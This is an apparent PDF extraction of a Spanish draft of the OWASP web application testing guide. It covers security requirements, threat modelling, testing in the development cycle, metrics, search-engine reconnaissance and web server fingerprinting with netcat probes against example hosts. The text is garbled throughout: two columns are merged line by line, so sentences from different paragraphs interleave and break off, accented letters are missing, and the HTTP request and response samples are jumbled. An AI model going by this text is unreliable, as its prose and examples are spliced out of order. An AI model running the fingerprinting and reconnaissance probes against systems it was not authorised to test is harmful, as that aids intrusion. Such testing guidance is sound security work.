exposicin de los controles de seguridad para vulnerabilidades comunes, tales puede ser evaluada mediante una prueba de penetracin, mediante el anlisis de
como el OWASP Top Ten, puede ser un buen punto de partida para derivar los campos de entrada con varios vectores de ataque de inyeccin de SQL. Esta
requisitos generales de seguridad. Ms concretamente, el framework de prueba puede validar que los caracteres especiales son filtrados antes de llegar a
seguridad de aplicaciones web [17] proporciona una clasificacin (por ejemplo la base de datos y mitigan la vulnerabilidad. Combinando los resultados del
taxonoma) de vulnerabilidades que pueden ser documentadas en diferentes anlisis de cdigo fuente y pruebas de penetracin es posible determinar la
guas y estndares diferentes y validados con pruebas de seguridad. probabilidad y la exposicin a la vulnerabilidad y calcular la calificacin de
riesgo de la vulnerabilidad. Informando las calificaciones de riesgo de
vulnerabilidad en los resultados (por ejemplo, informe de pruebas) es posible
decidir sobre la estrategia de mitigacin. Por ejemplo, las vulnerabilidades de
El foco de una categorizacin de amenazas y defensas es definir los requisitos de mediano y alto riesgo pueden priorizarse para ser remediadas, mientras que las
seguridad en cuanto a las amenazas y la causa principal de la vulnerabilidad. de bajo riesgo se pueden arreglar en las siguientes versiones.
Una amenaza puede ser categorizada usando STRIDE [18] como Suplantacin
de identidad, Manipulacin, Repudio, revelacin de Informacin, Negacin de
servicio y Elevacin de privilegios. La causa puede calificarse como falla de
seguridad en el diseo, un error de seguridad en la codificacin o un problema Teniendo en cuenta los escenarios de amenaza de la explotacin de
debido a una configuracin insegura. Por ejemplo, la causa de la vulnerabilidad vulnerabilidades comunes, es posible identificar los riesgos potenciales que
de autenticacin dbil podra ser la falta de autenticacin mutua cuando los datos deben probarse en el control de seguridad de la aplicacin. Por ejemplo, las diez
cruzan un lmite de confianza entre los niveles del cliente y de ensambles del vulnerabilidades ms importantes de OWASP pueden ser direccionadas a
servidor de la aplicacin. Un requisito de seguridad que capture la amenaza de ataques como el fraude electrnico (phishing), violaciones de privacidad, robo
no repudio durante una revisin del diseo de arquitectura permite la de identidad, sistema comprometido, alteracin de datos o destruccin de datos,
documentacin del requisito de defensa (por ejemplo, autenticacin mutua) que prdidas financieras y prdida de reputacin. Estos temas deberan documentarse
puede ser validada posteriormente con pruebas de seguridad. como parte de los escenarios de amenaza. Pensando en trminos de amenazas y
vulnerabilidades, es posible disear una batera de pruebas que simulen estos
escenarios de ataque. Idealmente, la base de conocimientos de vulnerabilidades
de la organizacin puede utilizarse para derivar pruebas de seguridad dirigidas
Una categorizacin de amenazas y defensas para las vulnerabilidades puede por los casos de riesgos de seguridad para validar los escenarios de ataque ms
utilizarse tambin para documentar requerimientos de seguridad de la probables. Por ejemplo, si el robo de identidad se considera de alto riesgo,
codificacin segura como estndares de codificacin seguras. Un ejemplo de un escenarios de prueba negativos deben validar la mitigacin de los impactos
error de codificacin comn en los controles de autenticacin consiste en aplicar
derivados de la explotacin de las vulnerabilidades de autenticacin, controles La plantilla de restablecimiento de contrasea debe validar el nombre de
criptogrficos, validacin del ingreso y controles de validacin. usuario y el email del usuario registrado antes de enviar la contrasea temporal
del usuario por correo electrnico. La contrasea temporal emitida debe ser una
contrasea de un solo uso. Se enviar un enlace a la pgina de restablecimiento
de contrasea al usuario. La pgina de restablecimiento de contrasea debe
validar la contrasea temporal del usuario, la contrasea nueva, as como la
respuesta del usuario a la pregunta de desafo.
Para validar los requisitos de seguridad con pruebas de seguridad, estos deben
Los requisitos negativos son ms difciles de probar, porque no hay ningn
estar impulsados por la funcin y necesitan resaltar la funcionalidad esperada (el
comportamiento esperado que se pueda buscar. Esto podra requerir que un
qu) e implcitamente la implementacin (el cmo). Ejemplos de requisitos de
analista de amenazas cree causas y condiciones de entradas imprevisibles. Aqu
diseo de alto nivel de seguridad para la autenticacin pueden ser:
es donde las pruebas de seguridad deben ser conducidas por el anlisis de riesgo
y modelo de amenazas. La clave es documentar los escenarios de amenaza y la
funcionalidad de la defensa como factor para mitigar una amenaza.
hiptesis de prueba negativa. Un rbol de amenazas asumir un ataque a la raz Paso 1: Describa la situacin funcional: El usuario autentica el ingreso mediante
(por ejemplo, el atacante podra ser capaz de leer mensajes de otros usuarios) e el suministro de un nombre de usuario y contrasea. La aplicacin permite el
identificar las diferentes debilidades de los controles de seguridad (por ejemplo, acceso a los usuarios, basada en la autenticacin de credenciales del usuario por
la validacin de datos falla debido a una vulnerabilidad de inyeccin SQL) y las parte de la aplicacin y proporciona errores especficos al usuario cuando la
defensas necesarias (por ejemplo, implementar la validacin de datos y consultas validacin falla.
parametrizadas) que pudieran ser validadas en su eficacia en la mitigacin de
este tipo de ataques.
1) Las contraseas deben ser alfanumricas, maysculas y minsculas y un Despus de que los componentes y los cambios en el cdigo son probados por
mnimo de longitud de siete caracteres; los desarrolladores y registrados en la estructura de la aplicacin, el siguiente
paso, ms probablemente en el flujo de trabajo del proceso de desarrollo de
2) Las cuentas deben bloquearse despus de cinco intentos de registro sin xito; software, es realizar pruebas en la aplicacin como una entidad completa. Este
nivel de prueba se conoce generalmente como prueba integrada y prueba de
3) Los mensajes de error de registro deben ser genricos. nivel de sistema. Cuando las pruebas de seguridad son parte de estas actividades
de pruebas, pueden utilizarse para validar la funcionalidad de seguridad de la
aplicacin como un todo, as como la exposicin a vulnerabilidades a nivel de
aplicacin. Estas pruebas de seguridad en la aplicacin incluyen tanto las
Estos requisitos de seguridad deben ser documentados y probados. pruebas de Caja Blanca como el anlisis de cdigo fuente; y las pruebas de Caja
Negra como pruebas de penetracin. Las pruebas de Caja Gris son similares a
las pruebas de Caja Negra. En una prueba de Caja Gris se supone que el
evaluador tiene un conocimiento parcial sobre el manejo de la sesin de la
aplicacin y que debe ayudar a entender si el registro de salida y funciones de
Las pruebas de seguridad integradas al desarrollo y flujos
tiempo de caducidad estn bien aseguradas.
de trabajo de las pruebas de seguridad
El objetivo de las pruebas de seguridad es el sistema completo que ser Desde la perspectiva del desarrollador, el principal objetivo de las pruebas de
potencialmente atacado e incluye el cdigo fuente completo y el seguridad es validar que el cdigo est siendo desarrollado de acuerdo con los
requisitos de las normas de codificacin segura. Los artefactos de codificacin
de los desarrolladores (como las funciones, mtodos, clases, APIs y bibliotecas)
deben ser validados funcionalmente antes de integrarse a la construccin de la
ejecutable. Una ventaja de las pruebas de seguridad durante esta fase de prueba aplicacin.
es que es posible para los evaluadores de seguridad determinar si las
vulnerabilidades pueden ser explotadas y exponen a la aplicacin a riesgos
reales. Esto incluye tanto a vulnerabilidades de aplicaciones web comunes como
a problemas de seguridad que se han identificado ms temprano en el SDLC con Los requisitos de seguridad que los desarrolladores tienen que seguir deben ser
otras actividades como el modelo de amenazas, el anlisis de cdigo fuente y documentados en los estndares de codificacin seguros y validados con el
revisiones de seguridad del cdigo. anlisis esttico y dinmico. Si la actividad de la unidad de pruebas sigue una
revisin de cdigos seguros, las pruebas de unidad pueden validar que los
cambios requeridos por las revisiones de seguridad de cdigos se hayan
implementado correctamente. Las revisiones de seguridad de cdigos y anlisis
Por lo general, son los ingenieros de pruebas, no los desarrolladores de software, de cdigo fuente a travs de las herramientas de anlisis de cdigo fuente ayudan
quienes realizan las pruebas de seguridad cuando la aplicacin est en la mira de a los desarrolladores en la identificacin de problemas de seguridad en el cdigo
las pruebas del sistema de integracin. Estos ingenieros de pruebas tienen fuente mientras se desarrolla. Mediante el uso de pruebas de
conocimientos de seguridad acerca de vulnerabilidades de aplicaciones web,
tcnicas de pruebas de seguridad de Caja Negra y Caja Blanca y dominan la
validacin de requisitos de seguridad en esta fase. Para poder realizar estas
pruebas de seguridad, es un prerrequisito que los casos de pruebas de seguridad unidad y anlisis dinmico (p. ej., depuracin) los desarrolladores pueden validar
estn documentados en la gua y procedimientos de pruebas de seguridad. la funcionalidad de seguridad de los componentes, as como verificar que las
defensas que estn siendo desarrolladas mitigan cualquier riesgo de seguridad
identificado previamente a travs de la creacin de modelos de amenazas y el
anlisis de cdigo fuente.
Un ingeniero de pruebas que valida la seguridad de la aplicacin en el entorno
del sistema integrado podra liberar a la aplicacin para ser probada en el entorno
operativo (por ejemplo, pruebas de aceptacin del usuario). En esta etapa de
SDLC (es decir, validacin), las pruebas funcionales de la aplicacin son Una buena prctica de los desarrolladores es crear casos de prueba de seguridad
generalmente una responsabilidad de evaluadores QA, mientras que los hackers como un conjunto de pruebas de seguridad genricas que forma parte del
de sombrero blanco o consultores de seguridad son generalmente responsables framework de pruebas de la unidad. Un conjunto de pruebas de seguridad
de las pruebas de seguridad. Algunas organizaciones se apoyan en su propio genrico puede derivarse de casos de uso correcto y mal uso previamente
equipo de hackers ticos especializados para llevar a cabo este tipo de pruebas definidos como funciones, mtodos y clases. Un conjunto de pruebas de
cuando una evaluacin externa no es necesaria (por ejemplo, para propsitos de seguridad genrica puede incluir casos de prueba de seguridad para validar tanto
auditora). requisitos positivos como negativos para los controles de seguridad, tales como:
Puesto que estas pruebas son el ltimo recurso para solucionar vulnerabilidades Identidad, autenticacin y control de acceso
antes de que la aplicacin sea lanzada a la produccin, es importante que estos
temas sean abordados segn lo recomendado por el equipo de pruebas. Las Validacin de ingreso y codificacin
recomendaciones pueden incluir cambios de cdigo, diseo o configuracin. En
este nivel, los auditores de seguridad y los oficiales de seguridad de la Encriptado
informacin discuten sobre los temas de seguridad reportados y analizan los
riesgos potenciales segn los procedimientos de gestin de riesgo de la Administracin de usuarios y sesin
informacin. Tales procedimientos pueden requerir que el equipo de desarrollo
corrija todas las vulnerabilidades de alto riesgo antes de que la aplicacin sea Manejo de errores y excepciones
liberada, a menos que tales riesgos sean reconocidos y aceptados.
Auditora y registro
pruebas de seguridad pueden ejecutarse para identificar posibles problemas de seguridad del desarrollador. Cuando se implementa una solucin para un defecto
seguridad que tienen su causa principal en el cdigo fuente. de codificacin identificado mediante el anlisis de cdigo fuente; por ejemplo,
los casos de pruebas de seguridad, puede verificar que la aplicacin del cambio
de cdigo sigue los requisitos de codificacin segura, documentados en los
estndares de codificacin seguros.
Adems de la validacin de parmetros de entrada y salida, que entran y salen
de los componentes, estos temas incluyen verificaciones de autenticacin y
autorizacin realizadas por el componente, proteccin de los datos dentro del
componente, excepcin segura y manejo de errores y garantizar la auditora y el Las pruebas de anlisis de cdigo fuente y de unidad pueden validar que el
registro. Los frameworks de la unidad de prueba tales como Junit, Nunit y Cunit cambio de cdigo mitiga la vulnerabilidad expuesta por el defecto de
se pueden adaptar para verificar los requisitos de la prueba de seguridad. En el codificacin previamente identificado. Los resultados del anlisis automatizado
caso de pruebas funcionales de seguridad, las pruebas de nivel de unidad pueden de codificacin segura tambin pueden utilizarse como puertas automticas de
probar la funcionalidad de los controles de seguridad al nivel de componentes de entrada para el control de la versin del software, por ejemplo, los artefactos del
software, tales como las funciones, mtodos o clases. Por ejemplo, un caso de software no pueden verificarse dentro de la estructura si existen temas de alto o
prueba puede verificar la validacin de entrada y salida (por ejemplo, mediano grado de severidad.
saneamiento de variables) y verificacin de lmites para las variables, afirmando
la funcionalidad esperada del componente.
Los casos de pruebas de seguridad a nivel de unidad pueden ser desarrollados Los escenarios de ataque real pueden analizarse tanto con tcnicas manuales de
por un ingeniero de seguridad que es el experto en la materia de seguridad de pruebas como con herramientas de prueba de penetracin. Las pruebas de
software y tambin es responsable de validar que los temas de seguridad en el seguridad de este tipo se denominan tambin pruebas de hacking tico. Desde la
cdigo fuente se han corregido y se pueden comprobar en la estructura del perspectiva de pruebas de seguridad, stas son direccionadas por el riesgo y
sistema integrado. Normalmente, el administrador de la construccin de la tienen el objetivo de probar la aplicacin en el entorno operativo. El objetivo es
aplicacin tambin se asegura de que archivos ejecutables y bibliotecas de la estructura de la aplicacin representativa de aquella versin que ser
terceros sean evaluados en busca de vulnerabilidades potenciales antes de implementada en la produccin.
integrarlos en la estructura de las aplicaciones.
Por ejemplo, las vulnerabilidades encontradas en el cdigo fuente mediante el Los datos de pruebas de seguridad pueden ser absolutos, como el nmero de
anlisis del cdigo fuente representan una medida inicial del riesgo. Una medida vulnerabilidades detectadas durante la revisin de cdigo manual; as como
de riesgo (p. ej., alta, media, baja) de la vulnerabilidad puede calcularse comparativo, como el nmero de vulnerabilidades detectadas durante las
mediante la determinacin de los factores de exposicin y probabilidad, revisiones de cdigo comparadas con las pruebas de penetracin. Para responder
validando la vulnerabilidad con pruebas de penetracin. Las mtricas de riesgo a preguntas sobre la calidad del proceso de seguridad, es importante determinar
asociadas a vulnerabilidades encontradas con las pruebas de seguridad dan el una lnea base para lo que podra considerarse aceptable y bueno. Los datos de
poder a la gestin de negocio para poder tomar decisiones de riesgo, tales como pruebas de seguridad tambin pueden apoyar objetivos especficos del anlisis
para decidir si los riesgos pueden ser aceptados, mitigados o transferidos a de seguridad. Estos objetivos podran ser el cumplimiento de las normas de
diferentes niveles dentro de la organizacin (por ejemplo, de negocios, as como seguridad y estndares de seguridad de la informacin, los procesos de gestin
los riesgos tcnicos). de la seguridad, la identificacin de causas principales de seguridad y mejoras en
los procesos y el anlisis de costo- beneficio de la seguridad.
reducir el nmero total de vulnerabilidades en un 30% u tipo de pruebas de seguridad son ms eficaces para detectar
vulnerabilidades (por ejemplo, Caja Blanca versus Caja Negra)?
solucin de temas de seguridad en un determinado plazo (por ejemplo, antes
del lanzamiento de la beta) Cuntos problemas de seguridad se encuentran durante las revisiones de
seguridad del cdigo?
Incluso las ms sofisticadas herramientas de automatizacin no son competencia Informar la causa principal del problema puede ayudar a identificar lo que necesita
para un evaluador de seguridad experimentado. Slo confiar en los resultados de ser corregido. En el caso de una prueba de Caja Blanca, por ejemplo, la causa de
pruebas exitosas de las herramientas de automatizacin les dar a los seguridad principal de la vulnerabilidad del software ser transgredir el cdigo
profesionales de la seguridad una falsa sensacin de seguridad. Por lo general, fuente.
mientras ms experimentados son los evaluadores de seguridad en la
metodologa de pruebas de seguridad y herramientas de prueba, mejores sern
los resultados de las pruebas de seguridad y anlisis. Es importante que los
gerentes que realizan una inversin en herramientas de pruebas de seguridad Una vez que se reportan los problemas, tambin es importante proporcionar
tambin consideren una inversin en la contratacin de recursos humanos orientacin al desarrollador de software para que pueda volver a probar y encontrar
calificados, as como en capacitacin para pruebas de seguridad. la vulnerabilidad. Esto podra significar usar una tcnica de prueba de Caja Blanca
(por ejemplo, revisin del cdigo de seguridad con un analizador de cdigo
esttico) para encontrar si el cdigo es vulnerable. Si se encuentra una
vulnerabilidad a travs de una tcnica de Caja Negra (prueba de penetracin), el
Reporte de requerimientos informe de prueba tambin debe proporcionar informacin sobre cmo validar la
exposicin de la vulnerabilidad en el extremo delantero (por ejemplo, cliente).
La postura de seguridad de una aplicacin puede ser caracterizada desde la
perspectiva del efecto, tal como el nmero de vulnerabilidades y la calificacin
de riesgo de las vulnerabilidades, as como desde la perspectiva de la causa u
origen, tales como problemas de codificacin, fallos arquitectnicos y errores de La informacin acerca de cmo solucionar la vulnerabilidad debe ser detallada
configuracin. suficientemente para que un desarrollador pueda implementar una solucin. Debe
dar ejemplos de codificacin segura, cambios en la configuracin y proporcionar
referencias adecuadas.
Para que las mtricas de pruebas de seguridad sean tiles, deben proporcionar valor
a los depositarios o accionistas de los datos de las pruebas de seguridad de la
La categorizacin de cada tipo de vulnerabilidad organizacin. Los accionistas pueden incluir gerentes de proyecto, desarrolladores,
oficinas de seguridad de informacin, auditores y oficiales principales de
La amenaza a la seguridad que expone el tema
informacin. El valor puede ir en trminos de la rentabilidad que tiene cada [1] T. DeMarco, Controlling Software Projects: Management, Measurement
accionista del proyecto, en trminos del rol y la responsabilidad. and Estimation, Yourdon Press, 1982
Los desarrolladores de software buscan demostrar, en los datos de pruebas de [3] NIST, The economic impacts of inadequate infrastructure for software
seguridad, que el software est codificado de una manera ms segura y eficiente. testing - nist.gov
Esto les permite apoyar el caso para usar herramientas de anlisis de cdigo fuente,
as como seguir estndares de codificacin y asistir a entrenamientos de seguridad [4] Ross Anderson, Economics and Security Resource Page - cl.cam.ac.uk
de software.
[5] Denis Verdon, Teaching Developers To Fish - OWASP AppSec NYC
2004
Los gerentes de proyecto buscan datos que les permitan administrar y utilizar las [6] Bruce Schneier, Cryptogram Issue #9 - schneier.com
actividades y recursos de las pruebas de seguridad, de acuerdo al plan del proyecto
de seguridad. Para los jefes de proyecto, los datos de las pruebas de la seguridad [7] Symantec, Threat Reports - symantec.com
pueden mostrar los proyectos que estn dentro del cronograma, avanzar de acuerdo
al objetivo de las fechas de entrega y mejorar durante las pruebas. [8] FTC, The Gramm-Leach Bliley Act - business.ftc.gov
Los datos de pruebas de seguridad tambin ayudan al caso del negocio cuando la [10] European Union, Directive 96/46/EC on the protection of individuals
iniciativa proviene de agentes de seguridad de la informacin (ISO). Por ejemplo, with regard to the processing of personal data and on the free movement of
puede proporcionar evidencia de que las pruebas de seguirdad durante el SDLC no such data - ec.europa.eu
afectan la ejecucin de los proyectos; ms bien reducen la carga de trabajo total
necesaria para atacar vulnerabilidades que se presentarn ms adelante en la [11] NIST, Risk management guide for information technology systems -
produccin. csrc.nist.gov
proporcionan un nivel de garanta, seguridad y confianza del software que cumple [14] Gary McGraw, Beyond the Badness-ometer - drdobbs.com
con el estndar, a travs de los procesos de revisin de seguridad dentro de la
organizacin. [15] FFIEC, Authentication in an Internet Banking Environment -
www.ffiec.gov
Referencias [21] MITRE, Being Explicit About Weaknesses, Slide 30, Coverage of CWE
- cwe.mitre.org
[22] Marco Morana, Building Security Into The Software Life Cycle, A Business Case - blackhat.com
3 Esta seccin describe un framework de pruebas tpico que puede desarrollarse dentro de una
organizacin. Puede ser visto como un framework referencial que comprende tcnicas y tareas
que son apropiadas en diferentes fases del ciclo de vida de desarrollo del software (SDLC).
Esta seccin pretende ayudar a las organizaciones a construir un proceso Durante la definicin y diseo
completo de anlisis estratgico y no est dirigida a consultores o contratistas
que tienden a ser ms tcticos en las zonas especficas de la prueba. .Durante el desarrollo
Durante la implementacin
proceso como en el producto. Es esencial definir las mtricas antes de que Las aplicaciones deben tener una arquitectura y diseo documentados. Esta
comience el desarrollo, ya que puede haber la necesidad de modificar el proceso documentacin puede incluir modelos, documentos textuales y otros artefactos
con el fin de capturar los datos. similares. Es esencial probar estos artefactos para asegurar que el diseo y la
arquitectura de la aplicacin mantienen el nivel adecuado de seguridad segn lo
definido en los requisitos.
Fase 2.1: Revise los requisitos de seguridad Identificar fallas de seguridad en la fase de diseo no slo es uno de los momentos
ms eficientes en costo para identificar fallas, sino que puede ser uno de los
Los requisitos de seguridad definen cmo funciona una aplicacin desde momentos ms eficaces para realizar cambios. Por ejemplo, si se identifica que el
diseo exige autorizacin para las decisiones en varios lugares, puede ser apropiado
considerar un componente de autorizaciones centralizado. Si la aplicacin realiza
una validacin de datos en mltiples lugares, puede ser apropiado desarrollar un
una perspectiva de seguridad. Es esencial que los requerimientos de seguridad marco de validacin central (es decir, la validacin de correcciones en un solo
sean probados. Probar, en este caso, significa verificar los supuestos que se lugar, en vez de cientos de lugares; es mucho ms econmico).
hacen en los requisitos y las pruebas para ver si hay diferencias en las
definiciones de los requisitos.
Responsabilidad
arquitectura con el arquitecto de sistemas para modificar el diseo.
Administracin de sesiones
Seguridad de transporte
Fase 3: Durante el desarrollo
Segregacin de sistema de informacin en niveles
En teora, el desarrollo es la aplicacin de un diseo. Sin embargo, en el mundo
Cumplimiento de legislacin y estndares (incluidas las normas de privacidad,
real, muchas decisiones de diseo se realizan durante el desarrollo de la
gubernamentales e industria)
codificacin. Son, a menudo, decisiones pequeas que eran demasiado detalladas
para ser descritas en el diseo, o temas donde no se ofrecieron polticas o
estndares de orientacin. Si el diseo y la arquitectura no fueran adecuados, el
desarrollador se enfrentar a muchas decisiones. Si hay normas y polticas
Fase 2.2: Revise el diseo y arquitectura
insuficientes, el desarrollador se enfrentar an a ms decisiones.
Para ms informacin sobre las listas OWASP, por favor consulte la gua de
OWASP para Seguridad de Aplicaciones Web, o la ltima edicin de la OWASP
Fase 3.1: Camine a travs del cdigo Top 10.
El equipo de seguridad debera realizar una "caminata" a travs del cdigo con los
desarrolladores y, en algunos casos, los arquitectos del sistema. Una caminata a
travs del cdigo es un recorrido de alto nivel a travs del cdigo, donde los Fase 4: Durante la fase de implementacin
desarrolladores pueden explicar la lgica y el flujo del cdigo implementado. Esta
caminata permite al equipo de revisin de cdigo obtener una comprensin general Fase 4.1: Prueba de aplicacin y penetracin
del cdigo y permite a los desarrolladores explicar por qu ciertas cosas se
desarrollaron de la manera en que lo hicieron. Habiendo probado los requisitos, analizado el diseo y realizada la revisin de
cdigo, se puede suponer que todos los temas han sido cubiertos. Esperemos que
este sea el caso, pero realizar pruebas de penetracin de la aplicacin despus de
que se ha implementado proporciona una ltima comprobacin para asegurarse
El propsito no es realizar una revisin de cdigo, sino entender en un nivel alto el de que nada se ha escapado.
flujo, el diseo y la estructura del cdigo que compone la aplicacin.
Armado con una buena comprensin de cmo est estructurado el cdigo y por qu
ciertas cosas fueron codificadas de la manera en que lo fueron, el evaluador puede Fase 4.2: Pruebas de gestin de configuracin
examinar ahora el cdigo real en busca de defectos de seguridad.
La prueba de penetracin de la aplicacin debe incluir la comprobacin de cmo
la infraestructura fue implementada y asegurada. Aunque la aplicacin puede ser
segura, un pequeo aspecto de la configuracin podra estar todava en una fase
Las revisiones de cdigo esttico validan el cdigo con una serie de listas de de instalacin por defecto y ser vulnerable a la explotacin.
verificacin, que incluyen:
En trminos del retorno sobre los recursos invertidos (sobre todo tiempo), las
revisiones de cdigo esttico producen rendimientos de mayor calidad que
cualquier otro mtodo Etapa 5.3: Garantice la verificacin despus del cambio
Pruebas de Seguridad de
4 Aplicaciones Web
Las siguientes secciones describen las 12 categoras de la Metodologa de
Pruebas de Penetracin de una Aplicacin Web.
Pruebas: Introduccin y objetivos Abierto: cada experto en seguridad puede participar con su experiencia en el
proyecto. Todo es gratis.
Esta seccin describe la metodologa OWASP de pruebas de seguridad de
aplicaciones web y explica cmo evaluar para encontrar evidencias de Colaborativo: Se realizan lluvias de ideas antes de que los artculos sean escritos,
vulnerabilidades dentro de la aplicacin, debido a las deficiencias de los as el equipo puede compartir ideas y desarrollar una visin colectiva del proyecto.
controles de seguridad identificados. Esto significa un consenso bsico, un pblico ms amplio y mayor participacin.
Qu son las pruebas de seguridad de aplicaciones web? Este enfoque tiende a crear una metodologa de pruebas definida que ser:
Las pruebas de seguridad nunca sern una ciencia exacta donde se puede definir
Qu es una amenaza?
una lista completa de todos los temas posibles que deben ser probados. De hecho,
las pruebas de seguridad son slo una tcnica apropiada para probar la seguridad de
Una amenaza es cualquier cosa (un atacante malintencionado externo, un usuario
aplicaciones web bajo ciertas circunstancias. El objetivo de este proyecto es recoger
interno, una inestabilidad del sistema, etc.) que puedan daar los activos propios
todas las tcnicas de pruebas posibles, explicar estas tcnicas y mantener la gua
de una aplicacin (recursos de valor como los datos en una base de datos o en el
actualizada. El mtodo de pruebas de seguridad de aplicaciones Web OWASP se
sistema de archivos) mediante la explotacin de una vulnerabilidad.
basa en el enfoque de Caja Negra. El evaluador no sabe nada o tiene muy poca
informacin sobre la aplicacin a probar.
Qu es una prueba?
Una prueba es una accin que permite demostrar que una aplicacin cumple con
los requisitos de seguridad de sus grupos de inters.
El modelo de prueba consiste de: El conjunto de pruebas activas se han dividido en 11 categoras para un total de 91
controles:
Evaluador: uien realiza las actividades de prueba
Pruebas de autenticacin
Fase 1 Modo pasivo:
Pruebas de autorizacin
En el modo pasivo, el evaluador intenta comprender la lgica de la aplicacin y
juega con la aplicacin. Se pueden utilizar herramientas para la recopilacin de Pruebas de gestin de sesin
informacin. Por ejemplo, un proxy HTTP puede ser utilizado para observar todas
las solicitudes y respuestas HTTP. Al final de esta fase, el evaluador debe Pruebas de validacin de ingreso
comprender todos los puntos de acceso (puertas) de la aplicacin (por ejemplo,
encabezados HTTP, parmetros y cookies). La seccin de Recoleccin de Manejo de errores
Informacin explica cmo realizar una prueba de modo pasivo.
Criptografa
https://www.example.com/login/Authentic_Form.html
Pruebas de la recopilacin de la informacin
contenido, no han sido utilizadas, entonces es posible que los ndices incluyan ixquick/Startpage
contenido web cuya inclusin no estaba prevista por parte de los propietarios. Los
propietarios de pginas web pueden utilizar el mencionado robots.txt, meta Google
etiquetas HTML, autenticacin y herramientas proporcionados por los motores de
bsqueda para eliminar dicho contenido. Shodan
PunkSpider
Objetivos de la prueba
Para entender qu informacin sensible del diseo y configuracin de la Duck Duck Go y ixquick/Startpage proveen informacin limitada al respecto de
aplicacin/sistema/organizacin est expuesta directamente (en la pgina web de fugas del evaluador.
la organizacin) o indirectamente (en un sitio web de terceros).
Diagramas de red y configuraciones El Google SOAP Search API soporta el doGetCachedPage y los mensajes SOAP
de doGetCachedPageResponse asociado [3] para ayudar a recuperar pginas en
Mensajes archivados y mensajes de correo electrnico cach. Una implementacin de esto est en desarrollo por OWASP en el proyecto
"Google Hacking".
Contenido de mensajes de error Por ejemplo, para encontrar el contenido de la web de owasp.org indexado por un
motor de bsqueda tpico, la sintaxis requerida es:
Desarrollo, prueba, UAT escenificando las versiones de la pgina web
Operadores de bsqueda
Baidu
binsearch.info
Bing
Duck Duck Go
Documento Pre-release cortesa de Fernando Vela para drangonjar.org
39
Guia de pruebas 4.0 "Borrador"
Herramientas
Referencias
Web
[1] Google Basics: Learn how Google Discovers, Crawls, and Serves Web
Pages - support.google.com
La base de datos de Google Hacking es una lista muy til de consultas de bsqueda
[3] Google Hacking Database: exploit-db.com
de Google. Las consultas se ponen en varias categoras:
Remediacin
Puntos de apoyo o bases de apoyo
Considere cuidadosamente la sensibilidad de la informacin del diseo y
Archivos que contienen nombres de usuario
configuracin antes de publicarla en lnea.
Directorios sensibles
Servidores vulnerables
Archivos que contienen contraseas El utilizar huellas digitales en el servidor web es una tarea fundamental para
Del campo del servidor, se puede entender que el servidor es muy probablemente
Apache, versin 1.3.3, y que corre sobre un sistema operativo Linux.
Esta informacin se puede derivar enviando al servidor web comandos especficos
y analizando la respuesta de salida, como cada versin de software del servidor
Cuatro ejemplos de los encabezados de respuesta HTTP se indican a continuacin:
web puede responder de manera distinta a estos comandos. Sabiendo cmo
responde cada tipo de servidor web a comandos especficos y manteniendo esta
informacin en una base de datos de huellas digitales de servidores web, un
evaluador de penetracin puede enviar estos comandos al servidor web, analizar la
De un servidor Apache 1.3.23:
respuesta y compararla con la base de datos de firmas conocidas.
Tenga en cuenta que generalmente necesita varios comandos diferentes para HTTP/1.1 200 OK
identificar con precisin el servidor web, cmo las diferentes versiones pueden
reaccionar de manera similar para el mismo comando. Raramente las diferentes Date: Sun, 15 Jun 2003 17:10: 49 GMT
versiones reaccionan de la misma manera a todos los comandos HTTP; por lo que
mediante el envo de varios comandos diferentes, el evaluador puede aumentar la Server: Apache/1.3.23
precisin de su conjetura.
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT
ETag: 32417-c4-3e5d8a83
Objetivos de las pruebas
Accept-Ranges: bytes
Encontrar la versin y el tipo de servidor web en ejecucin para determinar
Content-Length: 196
vulnerabilidades conocidas y la manera de explotarlas para usar durante la prueba.
Connection: close
Cmo probar
HTTP/1.1 200 OK
En este caso, el campo de servidor de esa respuesta es ofuscado. El evaluador no
Server: Microsoft-IIS/5.0 puede saber qu tipo de servidor web se ejecuta basado en dicha informacin.
HTTP/1.1 200 OK
Server: Netscape-Enterprise/4.1
Content-type: text/HTML
Comportamiento de protocolo
Last-modified: Wed, 31 Jul 2002 15:37: 56 GMT
Tcnicas de comportamiento ms refinadas toman en cuenta diversas
Content-length: 57 caractersticas de los varios servidores web disponibles en el mercado. Abajo est
una lista de algunas metodologas que permiten a los evaluadores deducir el tipo de
Accept-ranges: bytes servidor web que est en uso.
Content-length: 1186
Content-type: text/html
Accept-Ranges: bytes
$ nc apache.example.com 80 $ nc netscape.example.com 80
Connection: close
$ nc iis.example.com 80 $ nc sunone.example.com 80
Podemos notar que el orden de los campos de fecha y servidor difieren entre
Apache, Netscape Enterprise y IIS.
Otra prueba til para ejecutar consiste en enviar solicitudes con formato incorrecto
o pginas inexistentes al servidor. Considere las siguientes respuestas HTTP.
Server: Sun-ONE-Web-Server/6.1
HTTP/1.1 400 Bad Request
Date: Tue, 16 Jan 2007 15:25:00 GMT
Date: Sun, 15 Jun 2003 17:12: 37 GMT
Content-length: 0
Server: Apache/1.3.23
Content-type: text/html
Connection: close
Transfer: chunked
Podemos notar que cada servidor responde de forma diferente. La respuesta
tambin es diferente, dependiendo de la versin del servidor. Observaciones
Respuesta de IIS 5.0 similares se pueden hacer creando peticiones con un mtodo HTTP
inexistente. Considere las siguientes respuestas:
$ nc iis.example.com 80
GET / HTTP/3.0
Respuesta de Apache 1.3.23
HTTP/1.1 200 OK
$ nc apache.example.com 80
Server: Microsoft-IIS/5.0
GET / JUNK/1.0
Content-Location: http://iis.example.com/Default.htm
HTTP/1.1 200 OK
Date: Fri, 01 Jan 1999 20:14: 02 GMT
Date: Sun, 15 Jun 2003 17:17: 47 GMT
Content-Type: text/HTML
Server: Apache/1.3.23
Accept-Ranges: bytes
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT
Last-Modified: Fri, 01 Jan 1999 20:14: 02 GMT
ETag: 32417-c4-3e5d8a83
Respuesta de Netscape Enterprise 4.
Accept-Ranges: bytes
GET / HTTP/3.0
Server: Netscape-Enterprise/4.1
Content-length: 140
Content-type: text/HTML
Desenmascarame - desenmascara.me
$ nc iis.example.com 80
GET / JUNK/1.0
Server: Microsoft-IIS/5.0
Content-Type: text/HTML
Content-Length: 87
Pruebas automatizadas
<HTML><HEAD><TITLE>Bad request</TITLE></HEAD>
A continuacin se muestra un ejemplo de httprint en funcionamiento:
<BODY><H1>Bad request</H1>
$ nc sunone.example.com 80
GET / JUNK/1.0
<HTML><HEAD><TITLE>Bad request</TITLE></HEAD>
<BODY><H1>Bad request</H1>
Herramientas
